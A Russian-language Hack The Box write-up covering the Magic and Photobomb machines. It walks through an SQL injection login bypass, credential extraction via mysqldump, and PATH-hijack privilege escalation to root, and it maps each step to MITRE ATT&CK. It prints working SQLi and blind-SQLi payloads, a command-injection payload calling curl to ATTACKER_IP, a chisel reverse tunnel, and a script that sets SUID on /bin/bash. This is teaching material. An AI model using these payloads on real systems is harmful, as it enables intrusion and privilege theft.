Перейти к содержимому

SQL инъекция и эскалация привилегий на HTB: от обхода логина до root

SQL инъекция и эскалация привилегий на HTB: от обхода логина до root
Время чтения: 14 мин.

Одна кавычка в поле логина — и через час у тебя root-шелл. Звучит как сценарий для кино, но на HTB-машине Magic именно так и вышло. Обход авторизации через SQL инъекцию открыл панель загрузки файлов, оттуда — реверс-шелл, файл db.php5 с кредами к MySQL, а из базы — пароль пользователя. Последнее звено — SUID-бинарь /bin/sysinfo, который вызывает утилиту lshw без абсолютного пути. Подмена переменной PATH — и привилегии root.

Разберём каждый шаг цепочки «SQL инъекция → утечка кредов → эскалация привилегий» на реальных HTB-машинах. Покажем, когда ручной подход информативнее sqlmap. И сопоставим с похожей цепочкой на машине Photobomb, где инъекция другая, а паттерн эскалации — тот же.

Окружение и инструменты для пентеста веб-приложений HTB

Проверьте до начала работы:

  • Kali Linux 2023.x+ или Parrot Security. Ubuntu тоже подойдёт, но на Kali всё стоит из коробки — экономит полчаса на настройку
  • RAM: минимум 4 ГБ (Burp Suite + браузер + терминал жрут прилично)
  • Активное VPN-соединение с HTB через OpenVPN. Файл .ovpn скачивается из профиля на сайте HackTheBox
  • Обязательные инструменты: nmap (сканер портов и сервисов), Burp Suite Community Edition (перехватчик HTTP-запросов — позволяет видеть и менять данные между браузером и сервером), netcat (nc — утилита для подключения/прослушивания TCP-соединений), Python 3 (для получения реверс-шелла — обратного подключения от целевой машины к вашей)
  • Опциональные: sqlmap (автоматический сканер SQL инъекций — понадобится для сравнения с ручным подходом), chisel (TCP-туннелирование через HTTP — пригодится, если mysql-клиент недоступен на целевой машине), Ghidra (декомпилятор бинарных файлов — для анализа SUID-бинарей)

Перед стартом: ping 10.10.10.X должен показывать ответы от целевой машины. Нет ответов — перезапустите OpenVPN и проверьте, что .ovpn-файл актуален.

Разведка: находим точку входа для SQL инъекции в поиске уязвимостей

Первый шаг на любой HTB-машине — сканирование портов. Запускаем полное сканирование: nmap -p- --min-rate=1500 -oN ports.txt 10.10.10.X. Здесь -p- проверяет все 65 535 портов, --min-rate=1500 ускоряет процесс (nmap отправляет не менее 1500 пакетов в секунду), -oN сохраняет результат в файл.

Ожидаемый результат: открыты порты 22 (SSH) и 80 (HTTP). Стандартная конфигурация для веб-ориентированных задач на HTB.

Уточняем версии сервисов: nmap -p 22,80 -sC -sV 10.10.10.X. Флаг -sC запускает стандартные NSE-скрипты (набор автоматических проверок nmap — определение заголовков, редиректов, базовых уязвимостей), -sV определяет версии сервисов. На Magic результат показывает Apache на порту 80.

Открываем браузер, переходим на http://10.10.10.X. Галерея изображений, в подвале — ссылка на форму авторизации /login.php. Первая потенциальная точка входа.

Зачем проверять именно форму логина? По классификации OWASP Top 10 (стандартный список критических рисков веб-приложений, обновляется каждые несколько лет) инъекции занимают позицию A03:2021 — Injection. Любое поле, данные из которого попадают в запрос к базе без фильтрации, потенциально уязвимо: форма логина, поиск, фильтры каталога, URL-параметры. На Magic уязвима форма авторизации, но механика та же для любого поля ввода.

Пробуем admin:admin — ошибка «Invalid credentials». Включаем Burp Suite Proxy (вкладка Proxy → Intercept → включить перехват) и смотрим размер ответа: 4 639 байт. Запоминаем.

Теперь вводим admin' (с одинарной кавычкой) в поле username, пароль — любой. Размер ответа изменился: 4 587 байт вместо 4 639. Сообщение об ошибке авторизации исчезло. Кавычка «сломала» SQL-запрос на сервере, и приложение отреагировало иначе. Если бы параметры были экранированы или использовались параметризованные запросы (prepared statements — метод, при котором данные и SQL-команда передаются в базу раздельно), кавычка не повлияла бы на поведение.

Разница в 52 байта — именно то, что стоит замечать до запуска sqlmap. Приложение уязвимо к SQL инъекции.

Ручная SQL инъекция вместо sqlmap: обходим авторизацию

Форма логина реагирует на кавычку. Теперь нужно понять структуру серверного SQL-запроса и подобрать payload (полезную нагрузку — строку, которая изменяет логику запроса) для обхода авторизации. Это техника Exploit Public-Facing Application (T1190) по классификации MITRE ATT&CK — открытой базе тактик и техник атак, где T-коды вроде T1190 служат стандартными идентификаторами конкретных атакующих приёмов.

На стороне сервера запрос к базе формируется конкатенацией (склейкой) пользовательского ввода с шаблоном SQL:

-- Серверный код формирует запрос подстановкой из формы:
SELECT * FROM users
  WHERE username = '$user' AND password = '$pass'
-- При вводе admin' or 1=1# в поле username:
SELECT * FROM users
  WHERE username = 'admin' or 1=1#' AND password = ''
-- Символ # превращает остаток строки в комментарий (MySQL)
-- Условие 1=1 всегда истинно → БД возвращает все строки

Что здесь происходит: одинарная кавычка после admin закрывает строковый литерал для username. Конструкция or 1=1 делает условие WHERE всегда истинным — база вернёт записи всех пользователей. Символ # (в MySQL это начало однострочного комментария) обрезает оставшуюся часть запроса, включая проверку пароля. Результат: база отдаёт первую запись (обычно администратор) без верификации пароля.

Проверяем через Burp Suite: перехватываем POST-запрос к /login.php через Proxy → Intercept. В теле запроса меняем username на admin' or 1=1#, password оставляем произвольным. Нюанс, на котором часто спотыкаются: пробелы в URL-энкодинге передаются как + или %20, символ = как %3d, символ # как %23. Отправите payload без энкодинга — сервер может его неправильно распарсить.

Нажимаем Forward. В ответе — HTTP/1.1 302 Found с заголовком Location: upload.php. Код 302 — редирект. Сервер отправляет нас на страницу загрузки файлов: авторизация пройдена.

Без Burp можно проверить прямо в браузере: admin' or 1=1# в поле логина, любой текст в пароле, «Войти». Новая страница вместо ошибки — инъекция сработала.

Предусловия и ограничения:

  • Работает если: приложение конкатенирует пользовательские данные с SQL-запросом напрямую, СУБД — MySQL (символ # для комментария; в PostgreSQL нужен --), WAF (Web Application Firewall — фильтр, блокирующий вредоносные HTTP-запросы) отсутствует или не ловит SQLi-паттерны
  • Не работает если: применяются prepared statements или ORM (Object-Relational Mapping — библиотека, генерирующая безопасные запросы автоматически), WAF блокирует конструкции or 1=1, '--, UNION SELECT

[Применимо: CTF-лабораторная среда, внешний/внутренний пентест веб-приложений с legacy-кодом на PHP/Python без ORM]

Когда ручная инъекция информативнее sqlmap

Казалось бы, проще запустить sqlmap -u "http://10.10.10.X/login.php" --forms --batch и пойти пить кофе. Иногда — да. Но на практике CTF-задач и реальных пентестов есть ситуации, когда руки быстрее автоматики.

Когда руки быстрее:

Нестандартная обработка ответов. sqlmap определяет успех инъекции по различиям в ответе — размер, текст, код. Если приложение возвращает 302-редирект при успешном логине (а не текстовое сообщение), sqlmap на --level 1 может не распознать это как индикатор уязвимости. На Magic именно так: ручная проверка через Burp показала разницу в размере ответа мгновенно.

Ограниченный бюджет запросов. На реальном пентесте rate limiting, WAF или IDS заблокируют IP после серии подозрительных запросов. sqlmap на --level 5 --risk 3 генерирует сотни payload’ов. Ручная кавычка — один запрос.

Понимание структуры запроса. Ручная инъекция заставляет думать: где закрывается кавычка, какой символ комментария использует СУБД, сколько столбцов в SELECT. Без этого знания на следующих шагах эксплуатации встанешь.

Когда sqlmap незаменим:

Извлечение больших объёмов данных — полный дамп базы с десятками таблиц. Blind-инъекции (boolean-based и time-based), где ручной перебор символов занимает часы. Автоматическое определение типа и версии СУБД по косвенным признакам.

Рабочее правило: обнаружение и подтверждение уязвимости — руками, масштабная эксплуатация — sqlmap. На Magic ручной подход дал auth bypass за один запрос.

Поиск админского пароля через SQL инъекцию и базу данных

После обхода авторизации мы на странице загрузки файлов (upload.php). Отсюда можно загрузить веб-шелл (T1505.003 — Web Shell: PHP-скрипт, исполняющий системные команды на сервере) через обход валидации расширения — двойным расширением legit.php.png. Детали загрузки шелла — тема отдельного разбора; считаем, что мы получили шелл как www-data (учётная запись, от имени которой работает Apache).

Первое действие в шелле — искать файлы с учётными данными. Веб-приложение подключается к базе, а значит, где-то в коде лежат креды. Команда grep -r "password" /var/www/ --include="*.php*" рекурсивно ищет слово «password» во всех PHP-файлах директории веб-сервера.

Результат: файл db.php5 содержит строку подключения к MySQL с логином theseus и паролем iamkingtheseus. Техника Credentials In Files (T1552.001) — учётные данные хранятся в открытом виде в конфигурационном файле. Встречается на удивление часто, и не только на CTF.

Дальше — подключиться к базе и вытащить данные (T1213.006 — Databases). На целевой машине может не быть клиента mysql, но mysqldump (экспорт содержимого базы в SQL-формат) часто присутствует:

# Предусловие: шелл от www-data, mysqldump доступен
# Флаг -p без пробела = пароль указан сразу после
mysqldump -u theseus -piamkingtheseus Magic
# Выводит полный дамп базы Magic в терминал
# Ищем таблицу login:
# INSERT INTO login VALUES (1,'admin','Th3s3usW4sK1ng');
su theseus
# Вводим пароль: Th3s3usW4sK1ng → успешный вход

Если mysqldump недоступен — альтернатива через туннелирование порта MySQL с помощью chisel. На атакующей машине: chisel server --reverse --port 8001. На целевой: ./chisel client ATTACKER_IP:8001 R:3306:127.0.0.1:3306. Теперь MySQL-порт целевой машины доступен как localhost:3306 на вашем Kali, подключаемся через mysql -u theseus -p -h 127.0.0.1. Пароль iamkingtheseus, далее USE Magic; SELECT * FROM login; — тот же результат.

Итого: пароль пользователя theseusTh3s3usW4sK1ng. Команда su theseus с этим паролем даёт шелл от его имени. Переиспользование пароля — техника Local Accounts (T1078.003). Флаг user.txt в домашней директории — первый этап пройден.

Boolean-based SQL инъекция: пример посимвольного извлечения данных

На Magic мы обошли авторизацию одним payload’ом — In-Band инъекция в самом удобном варианте. А что делать, если приложение не выводит данные напрямую и не редиректит при успехе?

Boolean-based blind SQL инъекция (слепая логическая инъекция) работает через вопросы «да/нет», ответ на которые определяется по поведению страницы. Допустим, есть уязвимый параметр id в URL: ?id=5. Мы хотим узнать первый символ пароля администратора.

Отправляем: ?id=5 AND SUBSTRING((SELECT password FROM users LIMIT 1), 1, 1) = 'a'. Функция SUBSTRING извлекает первый символ из результата подзапроса и сравнивает с буквой a. Угадали — страница загружается нормально (оба условия истинны). Не угадали — пустой шаблон, ошибка или изменённый контент.

Перебираем символы (a-z, A-Z, 0-9, спецсимволы) для каждой позиции и восстанавливаем пароль целиком. Для пароля длиной 14 символов при алфавите в 62 символа — до 868 запросов. Вручную это утомительно, и вот тут sqlmap становится незаменим: sqlmap -u "http://target/?id=5" -p id --technique=B --dump автоматизирует перебор и вытаскивает данные за минуты.

Ещё тише работает time-based вариант: ?id=5 AND IF(SUBSTRING(...) = 'a', SLEEP(5), 0). Вместо разницы в контенте измеряем задержку ответа: буква угадана — сервер «замирает» на 5 секунд. Незаметнее, но медленнее.

Предусловия:

  • Работает если: приложение возвращает заметно разные ответы при TRUE и FALSE условиях (разный размер, код, наличие элемента), параметр инъекции подтверждён
  • Не работает если: ответ идентичен при любом условии — тогда единственный путь через time-based с SLEEP() или BENCHMARK()

Эскалация привилегий Linux: от веб-пользователя до root на HTB

Шелл от theseus. Цель — root. Стандартная разведка привилегий.

Команда sudo -l проверяет, какие команды текущий пользователь может запускать через sudo (механизм исполнения команд от имени другого пользователя, обычно root). На Magic sudo для theseus не настроен — путь закрыт.

Переходим к поиску SUID-бинарей. SUID (Set User ID) — специальный бит файловой системы Linux: если у исполняемого файла установлен SUID-бит и его владелец root, то файл при запуске любым пользователем работает с привилегиями root. Мощный вектор эскалации привилегий. Команда: find / -perm -4000 -type f 2>/dev/null. Флаг -perm -4000 ищет файлы с SUID-битом, -type f — только обычные файлы, 2>/dev/null подавляет ошибки доступа.

В результатах — /bin/sysinfo. Нестандартный бинарь. Стандартные SUID-файлы вроде /usr/bin/passwd или /usr/bin/sudo безопасны — они специально разработаны для работы с повышенными привилегиями. А кастомный /bin/sysinfo стоит разобрать.

Запускаем strings /bin/sysinfo (выводит читаемые строки из бинарного файла) и видим вызовы системных утилит: lshw, fdisk, cat — все без абсолютного пути. Вместо /usr/bin/lshw написано просто lshw. Вот и уязвимость.

Когда Linux выполняет команду без абсолютного пути, система ищет исполняемый файл в директориях переменной PATH (список путей через двоеточие: /usr/local/bin:/usr/bin:/bin). Ставим свою директорию в начало PATH, кладём туда скрипт с именем lshw — система выполнит наш скрипт вместо настоящей утилиты. И выполнит с привилегиями root, потому что /bin/sysinfo запускается как SUID root.

# Предусловие: шелл от theseus, /bin/sysinfo — SUID root
# /bin/sysinfo вызывает lshw без абсолютного пути
cd /tmp
echo -e '#!/bin/bash\nchmod +s /bin/bash' > lshw
chmod +x lshw
export PATH=/tmp:$PATH
/bin/sysinfo
# Наш /tmp/lshw выполнился с правами root
# и установил SUID-бит на /bin/bash:
/bin/bash -p          # флаг -p сохраняет привилегии
whoami                # ожидаемый вывод: root

Наш скрипт lshw содержит одну команду: chmod +s /bin/bash — устанавливает SUID-бит на /bin/bash. После выполнения /bin/sysinfo (который вызвал наш lshw вместо настоящего) запуск /bin/bash -p (флаг -p говорит bash не сбрасывать эффективный UID) даёт root-шелл. Техника Exploitation for Privilege Escalation (T1068).

Предусловия и ограничения:

  • Работает если: SUID-бинарь вызывает команды без абсолютных путей, пользователь может модифицировать PATH, директория для записи (например, /tmp) доступна, AppArmor/SELinux не ограничивает запись и выполнение в /tmp
  • Не работает если: бинарь использует абсолютные пути (/usr/bin/lshw), в sudoers задан secure_path, среда исполнения очищает переменные окружения, или nosuid установлен на разделе /tmp

[Применимо: CTF-лабораторная среда, внутренний пентест Linux-инфраструктуры с legacy-конфигурацией]

HTB Photobomb writeup: другая инъекция — тот же паттерн эскалации привилегий

На машине Photobomb (рейтинг Easy) структура атаки похожа, но вектор входа — не SQL инъекция, а OS command injection (инъекция команд ОС — когда пользовательский ввод попадает в системный вызов вроде system() или exec() без фильтрации).

Первый шаг — обнаружение учётных данных. В исходном коде страницы http://photobomb.htb/ находим подключаемый JavaScript-файл photobomb.js. Внутри — захардкоженные (вшитые в код) креды: pH0t0:b0Mb! для доступа к /printer через HTTP Basic Auth. Та же техника T1552.001 (Credentials In Files), что и db.php5 на Magic, только обнаружение через JavaScript (T1059.007).

Страница /printer позволяет скачивать фотографии в разных форматах. Параметр filetype в POST-запросе передаётся серверу (Ruby-фреймворк Sinatra) и подставляется в системную команду convert (утилита ImageMagick) без экранирования. Payload filetype=jpg;curl ATTACKER_IP:8000 добавляет команду curl после точки с запятой — bash выполняет обе команды последовательно. Если на атакующей машине запущен nc -lvnp 8000, мы получаем подтверждение: command injection работает. Подставив Python-реверс-шелл вместо curl, получаем интерактивный шелл от пользователя wizard.

Для эскалации: sudo -l показывает, что wizard может запускать /opt/cleanup.sh от root без пароля. В скрипте — вызов find без абсолютного пути. Тот же паттерн PATH hijacking, что на Magic, приводит к root.

Ключевая разница: на Magic инъекция в SQL-запрос (данные подставляются в команду к СУБД), на Photobomb — в команду ОС (данные попадают в bash-вызов). Оба типа относятся к одной категории OWASP: A03:2021 — Injection. Ошибка одна — пользовательский ввод попадает в исполняемый контекст без фильтрации. Паттерн эскалации тоже общий: находим бинарь или скрипт с повышенными привилегиями, вызывающий команды без абсолютных путей, подменяем PATH — root.

Цепочка атаки на карте MITRE ATT&CK

Полная kill chain (последовательность действий атакующего от первого контакта до цели) на HTB Magic по техникам MITRE ATT&CK:

Этап Техника T-код Что произошло
Initial Access Exploit Public-Facing Application T1190 SQL инъекция в форме логина, обход авторизации
Persistence Web Shell T1505.003 PHP-шелл через загрузку файла с двойным расширением
Credential Access Credentials In Files T1552.001 Пароль MySQL в файле db.php5
Collection Databases T1213.006 Извлечение пароля пользователя через mysqldump
Privilege Escalation Local Accounts T1078.003 Переключение на учётную запись theseus через su
Discovery System Information Discovery T1082 Обнаружение SUID-бинаря /bin/sysinfo
Privilege Escalation Exploitation for Privilege Escalation T1068 PATH hijacking → root shell

Каждая строка — конкретное действие, которое можно зафиксировать и обнаружить. Для тех, кому интересна защитная сторона: SQL инъекцию детектируют WAF-правила и анализ логов Apache, появление нового .php-файла в директории загрузок видно через File Integrity Monitoring, а PATH hijacking выявляется аудитом SUID-бинарей (find / -perm -4000) и мониторингом изменений переменных окружения через auditd.

На Photobomb цепочка почти идентична: T1552.001 (креды в JS) → OS command injection (вместо T1190/SQLi) → T1068 (PATH hijacking). Понимание этой структуры ценнее запоминания конкретных payload’ов — паттерн повторяется на десятках машин.

За два года регулярного прохождения HTB-boxes одна мысль возвращается снова и снова: автоматизация не заменяет понимание. Я видел, как новички запускают sqlmap на каждую форму, получают Parameter is not injectable и сдаются. А потом одна кавычка в Burp показывает разницу в 52 байта, которую sqlmap на дефолтном уровне просто не считал значимой. Проблема не в инструменте — sqlmap отличный. Проблема в подходе: если ты не понимаешь, почему admin' or 1=1# работает на MySQL, но ломается на PostgreSQL (там # не комментарий, нужен --), ты не адаптируешься, когда шаблонный payload не подойдёт.

Цепочка «инъекция → креды → эскалация» — не абстракция из учебника. Она встречается на Magic, Photobomb, и ещё на десятках HTB-машин разного уровня. Меняются СУБД, тип инъекции, способ эскалации — структура та же. Кто понимает структуру, решает новые машины за часы. Кто копирует payload’ы из writeup’ов — застревает при первом отклонении от шаблона. Если writeup’ы интересны, но не хватает системной базы — на IB Basics на codeby.school разбирают именно «как разобраться», а не «запомните терминологию».

Эту тему и смежные навыки разбирают на практике в курсе «Тестирование веб-приложений на проникновение (WAPT)» Codeby Academy.